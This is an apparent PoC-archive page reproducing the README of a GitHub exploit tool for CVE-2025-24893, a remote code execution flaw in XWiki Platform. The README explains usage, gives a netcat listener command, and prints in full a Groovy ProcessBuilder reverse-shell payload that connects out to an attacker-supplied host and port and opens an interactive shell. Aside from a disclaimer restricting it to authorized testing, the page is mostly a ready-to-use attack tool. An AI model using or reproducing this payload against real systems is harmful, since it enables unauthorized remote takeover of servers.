关联漏洞
            
        
            描述
            Modified exploit for CVE-2025-24893
        
        
            介绍
            # CVE-2025-24893 XWiki RCE Exploit

A simple Python3 script to exploit **CVE-2025-24893**, a remote code execution vulnerability in XWiki Platform, using a Groovy-based async macro and a configurable reverse shell payload.
> **⚠️ WARNING:** This tool is provided **for educational and authorized testing purposes only**. Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.
---
## Table of Contents
- [Features](#features)
- [Requirements](#requirements)
- [Installation](#installation)
- [Usage](#usage)
- [Detection & Protocol Fallback](#detection--protocol-fallback)
- [Reverse Shell Payload](#reverse-shell-payload)
- [License](#license)
- [Disclaimer](#disclaimer)
---
## Features
- ✅ Automatically detects whether the target supports HTTPS or HTTP  
- ✅ Constructs a Groovy `ProcessBuilder` snippet to avoid `Runtime.exec` quirks  
- ✅ URL-encodes the XWiki async+groovy macro payload  
- ✅ Configurable reverse shell (host + port)  
- ✅ Prints HTTP response code to help verify delivery  
---
## Requirements
- Python 3.6 or higher  
- [`requests`](https://pypi.org/project/requests/) library  
```bash
pip install requests
````
---
## Installation
Clone this repository:
```bash
git clone https://github.com/hackersonsteroids/cve-2025-24893.git
cd cve-2025-24893
```
---
## Usage
```bash
./exploit.py <TARGET_DOMAIN> <LHOST> <LPORT>
```
* `<TARGET_DOMAIN>`
  The XWiki host (e.g. `wiki.example.local`).
* `<LHOST>`
  Your attacker machine’s IP (where your listener is running).
* `<LPORT>`
  Your listener port (integer).
---
### Example
1. Start a listener on your machine:
```bash
nc -lvnp 4444
```
2. Run the exploit:
```bash
./exploit.py wiki.vulnerable.local 10.0.0.5 4444
```
3. On success, check your `netcat` listener for a shell.
---
## Detection & Protocol Fallback
Before sending the payload, the script:
1. Tries `https://<TARGET_DOMAIN>`
2. Falls back to `http://<TARGET_DOMAIN>` if HTTPS fails
3. Exits if neither is reachable
This helps ensure compatibility with mixed‐protocol deployments.
---
## Reverse Shell Payload
By default, the script uses a Python3 one-liner:
```groovy
new ProcessBuilder(
  ['/bin/bash','-c',
   'python3 -c \'import socket,subprocess,os;'
   's=socket.socket();s.connect(("LHOST",LPORT));'
   'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'
   'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'']
).redirectErrorStream(true).start()
```
* You can modify the `build_payload()` function if you need a different shell (e.g. Bash, Perl, PHP, etc.).
---
## License
This project is licensed under the **MIT License**. See the [LICENSE](LICENSE) file for details.
---
## Disclaimer
This tool is designed for **authorized security assessment** and **educational purposes** only. The authors hold no responsibility for misuse. Always obtain explicit permission before testing any target systems.
        
        文件快照
        
            
                
 [4.0K]  /data/pocs/35b241f6d36b3cf693dc9631fa33e0e9551e1464
├── [2.6K]  exploit.py
├── [1.0K]  LICENSE
└── [3.0K]  README.md
0 directories, 3 files
                
             
         
        备注
        
            
                1. 建议优先通过来源进行访问。
                2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
                3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。